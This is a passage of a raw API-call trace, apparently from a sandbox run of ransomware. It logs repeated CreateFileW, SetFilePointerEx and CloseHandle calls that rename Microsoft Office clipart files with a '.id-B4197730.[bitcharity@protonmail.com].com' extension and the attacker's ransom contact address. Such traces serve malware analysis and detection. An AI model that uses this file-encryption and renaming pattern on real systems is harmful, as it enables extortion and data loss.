Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.083] CloseHandle (hObject=0x118c) returned 1 [0261.084] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.084] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00221_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00221_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.084] CloseHandle (hObject=0x118c) returned 1 [0261.084] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.085] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.085] CloseHandle (hObject=0x118c) returned 1 [0261.086] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.086] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.086] CloseHandle (hObject=0x118c) returned 1 [0261.087] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.087] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00257_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00257_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.088] CloseHandle (hObject=0x118c) returned 1 [0261.089] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.089] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.090] CloseHandle (hObject=0x118c) returned 1 [0261.091] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.091] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.092] CloseHandle (hObject=0x118c) returned 1 [0261.093] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.093] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.094] CloseHandle (hObject=0x118c) returned 1 [0261.096] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.096] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.096] CloseHandle (hObject=0x118c) returned 1 [0261.097] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.098] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.099] CloseHandle (hObject=0x118c) returned 1 [0261.100] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.100] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00350_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00350_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.682] CloseHandle (hObject=0x118c) returned 1 [0262.155] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.155] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00505_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00505_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.155] CloseHandle (hObject=0x118c) returned 1 [0262.157] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.157] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02263_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02263_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.158] CloseHandle (hObject=0x118c) returned 1 [0262.159] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.159] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02265_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02265_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.159] CloseHandle (hObject=0x118c) returned 1 [0262.160] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.160] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02268_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02268_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.161] CloseHandle (hObject=0x118c) returned 1 [0262.162] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.162] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02269_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02269_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.162] CloseHandle (hObject=0x118c) returned 1 [0262.603] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.604] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02270_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02270_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.604] CloseHandle (hObject=0x1194) returned 1 [0262.610] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.610] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00253_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00253_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.611] CloseHandle (hObject=0x1194) returned 1 [0262.612] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.612] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00255_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00255_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.612] CloseHandle (hObject=0x1194) returned 1 [0262.614] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.614] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00330_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00330_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.614] CloseHandle (hObject=0x1194) returned 1 [0262.615] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.615] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00411_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00411_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.618] CloseHandle (hObject=0x1194) returned 1 [0262.651] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.651] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.651] CloseHandle (hObject=0x1194) returned 1 [0262.652] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.652] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01164_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01164_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.652] CloseHandle (hObject=0x1194) returned 1 [0262.653] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.653] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01165_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01165_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.654] CloseHandle (hObject=0x1194) returned 1 [0262.654] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.654] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN01308_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn01308_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.655] CloseHandle (hObject=0x1194) returned 1 [0262.656] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.656] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00006_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.656] CloseHandle (hObject=0x1194) returned 1 [0262.657] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.657] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00095_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00095_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.658] CloseHandle (hObject=0x1194) returned 1 [0262.659] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.659] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00097_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00097_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.660] CloseHandle (hObject=0x1194) returned 1 [0262.978] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.978] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.979] CloseHandle (hObject=0x1160) returned 1 [0263.003] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.003] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.004] CloseHandle (hObject=0x1160) returned 1 [0263.008] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.008] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.008] CloseHandle (hObject=0x1160) returned 1 [0263.010] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.010] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.010] CloseHandle (hObject=0x1160) returned 1 [0263.015] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.015] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 